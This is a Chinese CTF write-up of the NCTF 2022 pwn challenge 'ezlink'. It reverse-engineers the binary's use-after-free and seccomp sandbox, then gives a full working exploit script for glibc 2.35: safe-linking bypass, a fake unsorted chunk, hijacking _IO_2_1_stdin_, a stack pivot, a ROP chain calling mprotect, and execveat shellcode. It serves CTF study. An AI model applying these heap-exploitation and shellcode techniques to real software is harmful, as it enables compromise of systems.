首页 > 其他分享 >NCTF-2022-pwn-ezlink

NCTF-2022-pwn-ezlink

时间:2022-12-06 16:24:20浏览次数:63  
标签:libc text chunk mov add 2022 ezlink pwn 0x20

NCTF-2022-pwn-ezlink

总结

  • 利用_IO_obstack_file结构体进行攻击时,最好打_IO_2_1_stdin_

  • 利用_IO_obstack_file结构体进行攻击时,栈迁移布置如下:

    gg1 = libc.search(asm("mov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20]")).__next__()
    gg2 = libc.search(asm("mov rsp, rdx; ret")).__next__()
    gg3 = libc.search(asm('add rsp, 0x30; mov rax, r12; pop r12; ret')).__next__()
    
    + rdi放个堆地址,记为A,触发gg1
    + A + 8处放个地址,记为B
    + B + 0x20处放gg2
    + B处放gg3
    + B + 0x40处放ROP链
    #payload
    flat(
        {
            0x0:gg3,
            0x8:[
                this_heap_address,
            ],
            0x20:[
                gg2
            ],
            0x40:
            [
                fxxk_rop,
                shellcode_address
            ],
        },
    )
    
  • 通过修改size伪造UB时,注意堆内存布局

  • 错位覆盖IOfile时,可以利用好切片

  • _IO_obstack_file攻击需要利用的指针很少!!!

  • 栈迁移的时候可以考虑一下0x20大小的极致利用()(强网拟态only)

  • (fd指针加密是当前指针>>12)^目标地址

逆向分析

glibc版本

$ ./libc-2.35.so        
GNU C Library (Ubuntu GLIBC 2.35-0ubuntu3.1) stable release version 2.35.
Copyright (C) 2022 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.
There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A
PARTICULAR PURPOSE.
Compiled by GNU CC version 11.2.0.
libc ABIs: UNIQUE IFUNC ABSOLUTE
For bug reporting instructions, please see:
<https://bugs.launchpad.net/ubuntu/+source/glibc/+bugs>.
  • 存在tcache对齐检查,fd加密,还要double free的key检测
  • 没有各种hook了,一般都是打IO(house of apple2)(emo)

结构体

逆向分析可知结构体如下:

typedef struct Stu
{
  void *contprt1;
  void *contprt2;
}fxxk;

关键函数

  • 沙箱函数
.text:0000000000001309 loc_1309:                               ; CODE XREF: sub_1372+49↓p
.text:0000000000001309 ; __unwind {
.text:0000000000001309                 endbr64
.text:000000000000130D                 push    rbp
.text:000000000000130E                 mov     rbp, rsp
.text:0000000000001311                 sub     rsp, 10h
.text:0000000000001315                 mov     edi, 7FFF0000h
.text:000000000000131A                 call    _seccomp_init
.text:000000000000131F                 mov     [rbp-8], rax
.text:0000000000001323                 mov     rax, [rbp-8]
.text:0000000000001327                 mov     ecx, 0
.text:000000000000132C                 mov     edx, 3Bh ; ';'
.text:0000000000001331                 mov     esi, 0
.text:0000000000001336                 mov     rdi, rax
.text:0000000000001339                 mov     eax, 0
.text:000000000000133E                 call    _seccomp_rule_add
.text:0000000000001343                 mov     rax, [rbp-8]
.text:0000000000001347                 mov     ecx, 0
.text:000000000000134C                 mov     edx, 2
.text:0000000000001351                 mov     esi, 0
.text:0000000000001356                 mov     rdi, rax
.text:0000000000001359                 mov     eax, 0
.text:000000000000135E                 call    _seccomp_rule_add
.text:0000000000001363                 mov     rax, [rbp-8]
.text:0000000000001367                 mov     rdi, rax
.text:000000000000136A                 call    _seccomp_load
.text:000000000000136F                 nop
.text:0000000000001370                 leave
.text:0000000000001371                 retn
.text:0000000000001371 ; } // starts at 1309

可以看出开了沙箱,如下:

 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x06 0xc000003e  if (A != ARCH_X86_64) goto 0008
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x35 0x00 0x01 0x40000000  if (A < 0x40000000) goto 0005
 0004: 0x15 0x00 0x03 0xffffffff  if (A != 0xffffffff) goto 0008
 0005: 0x15 0x02 0x00 0x00000002  if (A == open) goto 0008
 0006: 0x15 0x01 0x00 0x0000003b  if (A == execve) goto 0008
 0007: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0008: 0x06 0x00 0x00 0x00000000  return KILL

该沙箱禁用了x32 abi以及open、execve。

  • add函数
void *add()
{
  fxxk *v0; // rbx
  fxxk *v1; // rbx
  size_t size; // rax

  chunk_arr = (fxxk *)malloc(0x20uLL);
  v0 = chunk_arr;
  v0->contprt2 = malloc(0xD0uLL);
  v1 = chunk_arr;
  v1->contprt1 = malloc(0xD0uLL);
  puts("Please input your secret");
  read(0, chunk_arr->contprt1, 0xD0uLL);
  size = strlen((const char *)chunk_arr->contprt1);
  return memcpy(chunk_arr->contprt2, chunk_arr->contprt1, size);
}

该函数简单概括如下:

  1. 一个0x20大小的chunk存储两个指针contprt1,conprt2,这两个指针指向0xd0大小的chunk

  2. strlen函数遇到\x00会自动截断,说明我们输入的内容能百分百到contprt1,但不一定百分百到contprt2

  3. 先申请contprt2,再申请chunkprt1

  • del函数
fxxk *del()
{
  fxxk *result; // rax

  free(chunk_arr->contprt1);
  free(chunk_arr->contprt2);
  result = chunk_arr;
  chunk_arr->contprt1 = 0LL;
  return result;
}

该函数简单概括如下:

  1. 只对contprt1进行了置0,有两个uaf分别为chunkarr和contprt2
  2. 先free 1,再free 2,结合add函数,说明我们如果进行add + del操作,申请的0xd0大小的chunk还是那两个
  • show函数
int show()
{
  puts("you only have two chances to peep a secret");
  if ( !show_times ) //2 times
    return puts("no chance to peep");
  write(1, chunk_arr->contprt2, 8uLL);
  return --show_times;
}

没什么需要讲解的

  • edit函数
int edit()
{
  puts("you only have four chances to distort a secret");
  if ( !edit_times ) //4 times
    return puts("no chance to distort");
  puts("Please input content");
  read(0, chunk_arr->contprt2, 0xD0uLL);
  return --edit_times;
}

没什么需要讲的

总结

  • del函数揭示了如果我们想保存一个chunk内的内容,我们需要堆风水,即add() 2次,del() 一次,这样第一次add的chunk内的数据就会被保存

  • 我们能show和edit的都是contprt2,当我们进行一次del的时候。在bin内,contprt2的fd为加密后的contprt1指针

  • 只能操作0xd0大小的chunk,如果我们打IO,只是简单的劫持_IO_list_all的话,覆盖不了0xd8处的vtable,所以我们只能部分覆盖某个IO结构体

  • show只能用2次,我们必须一次用来泄露堆地址,一次用来泄露libc地址

  • 由于开了沙盒,需要栈迁移

漏洞利用

  • 由于有uaf,我们可以先考虑泄露,故先泄露一个加密后的堆地址

    add(flat(
            {
                0:0
            }
    ))
    
    free()
    
    show()
    ru('you only have two chances to peep a secret\n')
    leak_fake_heap = u64_ex(r(6))
    

    但此时如何处理加密呢?Roderick师傅和FUNct!onMain师傅都用了一个方法,如下

    #Roderick
    def calc_heap(addr):
        s = hex(addr)[2:]
        s = [int(x, base=16) for x in s]
        res = s.copy()
        for i in range(9):
            res[3+i] ^= res[i]
        res = "".join([hex(x)[2:] for x in res])
        return int16_ex(res)
        
        
    #FUNct!onMain
    def decrypt(cry):
        ans = cry
        for i in range(3):
            ans = (ans >> 12)^cry
        return ans
    

    最后减去一定值,便可以得到heapbase

    heap_addr = decrypt(leak_fake_heap)
    log_address_ex2(heap_addr)
    heapbase = heap_addr - 0x1590
    log_address_ex2(heapbase)
    
  • 有了heapbase,便可以绕过指针加密,可以修改fd申请任意堆内存了,但是要注意申请时必须要有0x10对齐。此时我们可以将contprt2的chunk fd改成contprt2 - 0x20。然后申请,关系如下图:

    image-20221206153436039

那么我们修改contprt1所指的chunk,使它修改conprt2 chunk的size为0x431,再次进行free操作,contprt2便指向一个UB。

但此时存在一个问题,我们虽然伪造了一个size为0x431的chunk,但是实际堆内存中布局不满足要求,所以!我们需要再修改前申请很多个chunk,使得进行伪造UB时不出错

for i in range(20):
    add(flat(
        {
            0:p64(0)
        }
    ))
    free()



fd = flat(((heapbase+0x14a0)>>12)^(heapbase + 0x1480))
edit(fd)

add(
    flat({
        0x28:[
            0x431,
        ]
    })
)

free()

(0x431这个大小也是有讲究的,为0x30 * 16)

  • 现在我们有了UB,而且UB是contprt2,我们便可以泄露libc基地址

    show()
    lb = recv_current_libc_addr(0x219ce0)
    log_address_ex2(lb)
    libc.address = lb
    
  • 后面的事情就很简单,部分覆盖打IO,我选择的是_IO_obstack_file结构体攻击,但是在攻击之前,我们需要布置一下rop链,如下

    gg1 = libc.search(asm("mov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20]")).__next__()
    gg2 = libc.search(asm("mov rsp, rdx; ret")).__next__()
    gg3 = libc.search(asm('add rsp, 0x30; mov rax, r12; pop r12; ret')).__next__()
    fake_io_chunk = heapbase + 0x1590
    add(flat(
        {
            8:[
                fake_io_chunk+0x50-0x20,
                0,
                0,
            ],
            0x30:gg3,
            0x50:[
                gg2
            ],
            0x70:
            [
                libc.search(asm("pop rdi; ret")).__next__(),
                heapbase,
                libc.search(asm("pop rsi; ret")).__next__(),
                0x2000,
                libc.search(asm("pop rdx; pop r12; ret")).__next__(),
                0x7,
                0x0,
                libc.sym.mprotect,
                heapbase + 0x16a0 #shellcode_address
            ],
        },
    ))
    
    #here is 0x16a0
    add(flat(
        {
            0:ShellcodeMall.amd64.execveat_bin_sh
        }
    ))
    

    然后打IO,栈迁移触发shellcode,如下

    
    add(flat(
        {
            0:p64(0)
        }
    ))
    
    free()
    
    ioprt = libc.sym._IO_2_1_stdin_
    fd = flat(((heapbase+0x14b0)>>12)^(ioprt + 0x20))
    edit(fd)
    
    add(flat(
        {
            0x38-0x20:fake_io_chunk ,
            0x28-0x20:gg1,
            0x20-0x20:0,
            0x40-0x20:1, 
    
            0xc8-0x10:[
                libc.sym._IO_wfile_jumps + 0x300 + 0x20,
                ioprt-0x10
            ]
        },filler = '\x00',
    ))
    
    cmd(5)
    
    sleep(1)
    
    sl('read FLAG < flag ; echo $FLAG')
    
    io.interactive()
    

攻击IO细节

由_IO_obstack_file可知,我们可以稳定劫持程序流和控制rdi,但是该结构体需要控制0xe0处的内容,如果我们攻击的是err或者out,可能会出错,所以我们要攻击的是in,不仅是部分覆盖,而且还要完成栈迁移,我们需要用到一下gadget

gg1 = libc.search(asm("mov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20]")).__next__()
gg2 = libc.search(asm("mov rsp, rdx; ret")).__next__()
gg3 = libc.search(asm('add rsp, 0x30; mov rax, r12; pop r12; ret')).__next__()

主要思路如下:

  • rdi放个堆地址,记为A,触发gg1
  • A + 8处放个地址,记为B
  • B + 0x20处放gg2
  • B处放gg3
  • B + 0x38处放ROP链

EXP

#!/usr/bin/env python3

'''
Author: 7resp4ss
Date: 2022-12-03 17:03:00
LastEditTime: 2022-12-06 15:37:42
Description: 
'''

from pwncli import *

cli_script()

io = gift["io"]
elf = gift["elf"]
libc = gift.libc

filename  = gift.filename # current filename
is_debug  = gift.debug # is debug or not 
is_remote = gift.remote # is remote or not
gdb_pid   = gift.gdb_pid # gdb pid if debug

if gift.remote:
    libc = ELF("./libc-2.35.so")
    gift["libc"] = libc

def cmd(idx):
    sla('>> ',str(idx))

def add(pd):
    cmd(1)
    sa('secret',pd)

def free():
    cmd(2)

def show():
    cmd(3)

def edit(pd):
    cmd(4)
    sa('content',pd)

def decrypt(cry):
    ans = cry
    for i in range(3):
        ans = (ans >> 12)^cry
    return ans


add(flat(
        {
            0:0
        }
))

free()

show()
ru('you only have two chances to peep a secret\n')
leak_fake_heap = u64_ex(r(6))
log_address_ex2(leak_fake_heap)

heap_addr = decrypt(leak_fake_heap)
log_address_ex2(heap_addr)
heapbase = heap_addr - 0x1590
log_address_ex2(heapbase)
fxxk_addr = heapbase&~0xffff
log_address_ex2(fxxk_addr)
for i in range(20):
    add(flat(
        {
            0:p64(0)
        }
    ))
    free()



fd = flat(((heapbase+0x14a0)>>12)^(heapbase + 0x1480))
edit(fd)

add(
    flat({
        0x28:[
            0x431,
        ]
    })
)

free()
show()
lb = recv_current_libc_addr(0x219ce0)
log_address_ex2(lb)
libc.address = lb

gg1 = libc.search(asm("mov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20]")).__next__()
gg2 = libc.search(asm("mov rsp, rdx; ret")).__next__()
gg3 = libc.search(asm('add rsp, 0x30; mov rax, r12; pop r12; ret')).__next__()
fake_io_chunk = heapbase + 0x1590
add(flat(
    {
        8:[
            fake_io_chunk+0x50-0x20,
            0,
            0,
        ],
        0x30:gg3,
        0x50:[
            gg2
        ],
        0x70:
        [
            libc.search(asm("pop rdi; ret")).__next__(),
            heapbase,
            libc.search(asm("pop rsi; ret")).__next__(),
            0x2000,
            libc.search(asm("pop rdx; pop r12; ret")).__next__(),
            0x7,
            0x0,
            libc.sym.mprotect,
            heapbase + 0x16a0 #shellcode_address
        ],
    },
))

#here is 0x16a0
add(flat(
    {
        0:ShellcodeMall.amd64.execveat_bin_sh
    }
))

add(flat(
    {
        0:p64(0)
    }
))

free()

ioprt = libc.sym._IO_2_1_stdin_
fd = flat(((heapbase+0x14b0)>>12)^(ioprt + 0x20))
edit(fd)

add(flat(
    {
        0x38-0x20:fake_io_chunk ,
        0x28-0x20:gg1,
        0x20-0x20:0,
        0x40-0x20:1, 

        0xc8-0x10:[
            libc.sym._IO_wfile_jumps + 0x300 + 0x20,
            ioprt-0x10
        ]
    },filler = '\x00',
))


cmd(5)

sleep(1)

sl('read FLAG < flag ; echo $FLAG')

io.interactive()


标签:libc,text,chunk,mov,add,2022,ezlink,pwn,0x20
From: https://www.cnblogs.com/7resp4ss/p/16955586.html

相关文章

  • sb3.0+polaris-server(北极星) 20221206
    1、polaris-server(北极星)安装(windows版本) 1)、安装前准备    安装golanggolang官网:https://golang.google.cn/golang下载地址:https://golang.google.cn/dl/......
  • 若依框架后台页面引入el-statistic和echarts失败 2022-12-6
    若依框架后台页面引入el-statistic和echarts失败//和网上教程一样但是没有成功importechartsfrom'echarts'Vue.prototype.$echarts=echarts;//使用echa......
  • 数据库设计逻辑方向踩坑 表关系 2022-12-6
    数据库设计逻辑方向踩坑表关系2022-12-6当时设计表结构用户表与酒局表关联,酒局内有多个用户,且用户的饮酒类型与酒局表关联关键点:酒局会被预约,用户饮酒类型......
  • 2022 BUG记录-测试工程师的奇妙冒险(Jojo)
    【全埋点引入,却忘关调试】(APP)APP运行一段时间放到后台之后,再进入APP报错:弹出一段英文的tosat提示后又可以正常运行,后面经过几次,这个问题非常疑惑,什么问题都没有,就是弹出来......
  • Newsletter 2022-11|HStreamDB 0.11 发布
    11月我们发布了HStreamDB0.11,修复了多项已知问题。同时也在继续推进HStreamPlatform的开发,并计划于本月底上线首个Alpha版本。v0.11发布随着云原生流数据库​​HSt......
  • NCTF2022 wp
    reez_rev一个加密函数。对比字符。不是很想看怎么算的。直接4位爆破。#include<string.h>#include<malloc.h>#include"stdio.h"#include"defs.h"__int64__fas......
  • 2022年RHCE最新认证
    RHCE认证重要配置信息在考试期间,除了您就坐位置的台式机之外,还将使用多个虚拟系统。您不具有台式机系统的root访问权,但具有对虚拟系统的完整root访问权。系统信息......
  • 2022【xm格式转不了mp3】教你正确下载喜马拉雅mp3,并优雅获取音频
    喜马拉雅Windows和Mac客户端下载缓存的音频是xm格式,而且限制只可使用该喜马拉雅软件才能打开,而且经过加密的,因此对于电脑小白来说就不要想着解密xm格式的文件了,而且网上基......
  • 2022最新喜马拉雅付费音频下载器,支持专辑批量下载
    喜马拉雅会员FM专辑下载器它可以根据专辑ID批量解析音频列表,并且可以实现免登录一键下载。喜马拉雅VIP专辑下载器1、支持下载免费音频、VIP音频、付费音频。2、VIP音频......
  • 【2022最新教学】喜马拉雅音频提取导出mp3格式并保存到本地
    如何把喜马拉雅下载的音频声音导出来?手机上使用喜马拉雅app收听作品,听到喜欢的作品后,可能想要下载下来,这里介绍下下载方法。喜马拉雅会员FM专辑导出器它可以根据专辑ID......